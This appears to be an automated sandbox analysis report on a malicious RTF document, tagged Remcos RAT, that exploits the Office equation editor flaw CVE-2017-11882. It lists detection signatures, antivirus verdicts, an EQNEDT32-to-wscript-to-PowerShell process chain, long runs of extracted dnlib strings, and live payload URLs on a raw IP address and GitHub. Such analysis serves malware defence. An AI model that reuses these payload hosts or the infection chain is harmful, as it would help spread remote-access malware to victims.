Windows Analysis Report
IpEmBW3Qw5.rtf

Overview

General Information

Sample name: IpEmBW3Qw5.rtf
renamed because original name is a hash value
Original sample name: 85bb9c92d8128e3c8cf070a813b9ba82.rtf
Analysis ID: 1526389
MD5: 85bb9c92d8128e3c8cf070a813b9ba82
SHA1: cc187bf0c745ccd7fb932faa2ee030bb404ab1eb
SHA256: 71e0b0884fbf2ba2f8c52e90ae66f5be792d6b1f67d4ef86226958cc0bba3970
Tags: RATRemcosRATrtfuser-abuse_ch
Infos:

Detection

Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for submitted file
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Bypasses PowerShell execution policy
Document exploit detected (process start blacklist hit)
Found potential equation exploit (CVE-2017-11882)
Installs new ROOT certificates
Obfuscated command line found
Office drops RTF file
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Equation Editor Network Connection
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Wscript starts Powershell (via cmd or directly)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Document contains Microsoft Equation 3.0 OLE entries
Document misses a certain OLE stream usually present in this Microsoft Office document type
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores large binary data to the registry
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: IpEmBW3Qw5.rtf Avira: detected
Antivirus detection for dropped file
Source: C:\Users\user\Desktop\~WRD0000.tmp Avira: detection malicious, Label: EXP/CVE-2017-11882.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{D2609696-E762-447B-A02C-A86155954B70}.tmp Avira: detection malicious, Label: EXP/CVE-2017-11882.Gen
Multi AV Scanner detection for domain / URL
Source: https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt Virustotal: Detection: 6% Perma Link
Source: http://192.3.220.20 Virustotal: Detection: 7% Perma Link
Source: http://192.3.220.20/100/RRFGV.txt Virustotal: Detection: 11% Perma Link
Multi AV Scanner detection for submitted file
Source: IpEmBW3Qw5.rtf ReversingLabs: Detection: 50%
Source: IpEmBW3Qw5.rtf Virustotal: Detection: 63% Perma Link

Exploits
barindex
Found potential equation exploit (CVE-2017-11882)
Source: Static RTF information: Object: 0 Offset: 000063D9h
Office equation editor establishes network connection
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Network connect: IP: 192.3.220.20 Port: 80 Jump to behavior
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Windows\SysWOW64\wscript.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Windows\SysWOW64\wscript.exe Jump to behavior
Document contains Microsoft Equation 3.0 OLE entries
Source: ~WRF{D2609696-E762-447B-A02C-A86155954B70}.tmp.0.dr Stream path '_1789623330/\x1CompObj' : ...................F....Microsoft Equation 3.0....
Source: ~WRF{D2609696-E762-447B-A02C-A86155954B70}.tmp.0.dr Stream path '_1789623369/\x1CompObj' : ...................F....Microsoft Equation 3.0....
Office Equation Editor has been started
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.22:49164 version: TLS 1.0
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberRefProps source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetHandler source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeRefs source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParent source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.dotnet.pdb source: powershell.exe, 00000008.00000002.380118041.0000000000859000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.385123337.0000000004430000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.ApplyEditAndContinue source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.Current source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineModuleRef source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNameFromToken source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteFieldMarshal source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembers source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindField source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteClassLayout source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsValidToken source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Merge source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMemberRef source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamProps source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParamProps source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetSaveSize source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeRef source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResetEnum source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodProps source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumProperties source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembersWithName source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetCustomAttributeValue source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodImpls source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineCustomAttribute source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineEvent source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeByName source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethod source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.TranslateSigWithScope source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineUserString source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeSpecFromToken source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Save source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPermissionSetProps source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CountEnum source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodSemantics source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNativeCallConvFromSig source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethods source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFields source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeRefProps source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: +dnlib.DotNet.Pdb.PdbWriter+<GetScopes>d__17K source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetSigFromToken source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeSpecs source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: System.pdb.pdbt.Automation.pdb source: powershell.exe, 00000008.00000002.385304370.0000000004F90000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: dnlib.dotnet.pdb.dss source: powershell.exe, 00000008.00000002.380118041.0000000000859000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.385123337.0000000004430000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CloseEnum source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleRefProps source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToMemory source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.pdb source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeRefByName source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetScopeProps source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMember source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPropertyProps source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumParams source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.MergeEnd source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetEventProps source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumCustomAttributes source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldProps source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumModuleRefs source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.get_Current source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeProps source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldProps source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineParam source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetClassLayout source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteToken source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumPermissionSets source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUnresolvedMethods source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineNestedType source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Managed source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: +dnlib.DotNet.Pdb.PdbWriter+<GetScopes>d__17 source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetRVA source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleFromScope source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethodImpl source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePinvokeMap source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetClassLayout source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineSecurityAttributeSet source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMemberRef source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPermissionSetProps source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetTypeDefProps source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineProperty source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeDefByName source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetModuleProps source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldRVA source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFieldsWithName source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
